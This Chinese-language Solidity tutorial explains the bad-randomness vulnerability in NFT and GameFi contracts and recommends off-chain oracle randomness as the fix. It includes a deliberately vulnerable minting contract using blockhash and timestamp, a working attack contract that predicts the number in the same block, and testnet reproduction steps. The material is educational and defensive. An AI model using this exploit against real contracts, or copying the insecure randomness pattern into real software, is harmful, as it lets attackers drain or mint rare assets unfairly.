推荐平台 链接 平台介绍
币安网 注册链接 币安是全球领先的区块链生态系统,推出了一系列产品,其中包括最大的加密货币交易平台。我们的使命是在未来成为全球性加密货币基础架构供应商。
欧易OKX 注册链接 欧易是全球著名的数字资产交易平台之一,主要面向全球用户提供比特币、莱特币、以太币等数字资产的币币和衍生品交易服务。
HTX火币 注册链接 火币全球专业站,是火币集团旗下服务于全球专业交易用户的创新数字资产国际站,致力于发现优质的创新数字资产投资机会。

我最近在重新学solidity,巩固一下细节,也写一个“WTF Solidity极简入门”,供小白们使用(编程大佬可以另找教程),每周更新1-3讲。


这一讲,我们将介绍智能合约的坏随机数(Bad Randomness)漏洞和预防方法,这个漏洞经常在 NFT 和 GameFi 中出现,包括 Meebits,Loots,Wolf Game等。

伪随机数

很多以太坊上的应用都需要用到随机数,例如NFT随机抽取tokenId、抽盲盒、gamefi战斗中随机分胜负等等。但是由于以太坊上所有数据都是公开透明(public)且确定性(deterministic)的,它没有其他编程语言一样给开发者提供生成随机数的方法,例如random()。很多项目方不得不使用链上的伪随机数生成方法,例如 blockhash()keccak256() 方法。

坏随机数漏洞:攻击者可以事先计算这些伪随机数的结果,从而达到他们想要的目的,例如铸造任何他们想要的稀有NFT而非随机抽取。更多的内容可以阅读 WTF Solidity极简教程 第39讲:伪随机数。

WTF Solidity 合约安全: S07. 坏随机数

坏随机数案例

下面我们学习一个有坏随机数漏洞的 NFT 合约: BadRandomness.sol

contract BadRandomness is ERC721 {    uint256 totalSupply;    // 构造函数,初始化NFT合集的名称、代号    constructor() ERC721("", “”){}    // 铸造函数:当输入的 luckyNumber 等于随机数时才能mint    function luckyMint(uint256 luckyNumber) external {        uint256 randomNumber = uint256(keccak256(abi.encodePacked(blockhash(block.number - 1), block.timestamp))) % 100; // get bad random number        require(randomNumber == luckyNumber, “Better luck next time!”);        _mint(msg.sender, totalSupply); // mint        totalSupply++;    }}

它有一个主要的铸造函数 luckyMint(),用户调用时输入一个 0-99 的数字,如果和链上生成的伪随机数 randomNumber 相等,即可铸造幸运 NFT。伪随机数使用 blockhashblock.timestamp 声称。这个漏洞在于用户可以完美预测生成的随机数并铸造NFT。

下面我们写个攻击合约 Attack.sol

contract Attack {    function attackMint(BadRandomness nftAddr) external {        // 提前计算随机数        uint256 luckyNumber = uint256(            keccak256(abi.encodePacked(blockhash(block.number - 1), block.timestamp))        ) % 100;        // 利用 luckyNumber 攻击        nftAddr.luckyMint(luckyNumber);    }}

攻击函数 attackMint()中的参数为 BadRandomness合约地址。在其中,我们计算了随机数 luckyNumber,然后将它作为参数输入到 luckyMint() 函数完成攻击。由于attackMint()luckyMint()将在同一个区块中调用,blockhashblock.timestamp是相同的,利用他们生成的随机数也相同。

Remix 复现

由于 Remix 自带的 Remix VM不支持 blockhash函数,因此你需要将合约部署到以太坊测试链上进行复现。

  1. 部署 BadRandomness 合约。

  2. 部署 Attack 合约。

  3. BadRandomness 合约地址作为参数传入到 Attack 合约的 attackMint() 函数并调用,完成攻击。

  4. 调用 BadRandomness 合约的 balanceOf 查看Attack 合约NFT余额,确认攻击成功。

预防方法

我们通常使用预言机项目提供的链下随机数来预防这类漏洞,例如 Chainlink VRF。这类随机数从链下生成,然后上传到链上,从而保证随机数不可预测。更多介绍可以阅读 WTF Solidity极简教程 第39讲:伪随机数。

总结

这一讲我们介绍了坏随机数漏洞,并介绍了一个简单的预防方法:使用预言机项目提供的链下随机数。NFT 和 GameFi 项目方应避免使用链上伪随机数进行抽奖,以防被黑客利用。

推特:@0xAA_Science|@WTFAcademy_

社区:Discord|微信群|官网 wtf.academy

所有代码和教程开源在github: github.com/AmazingAng/WTFSolidity

来源:bress

推荐平台 链接 平台介绍
Gate芝麻开门 平台介绍 Gate.io芝麻开门创立于2013年,是全球真实交易量TOP10的加密货币交易平台,向全球数千万用户提供安全可靠、真实透明的数字资产交易服务。
Bitget 注册链接 Bitget的背后是一群区块链技术的早期接受者,也是区块链未来发展的信仰者,一直致力于提供安全、一站式的交易解决方案,帮助用户更聪明地交易。
Bybit 注册链接 Bybit通过数字资产与传统金融的结合,引领数字资产的生态发展。提供一流的流动性,致力于打造业内最安全、公平、高效及人性化的交易服务平台。
派网 注册链接 派网提供多样化的量化交易机器人,用户可依照自身交易需求和策略选择最适合的机器人。 同时派网也提供合约交易与合约网格机器人,给予更方便的合约交易体验。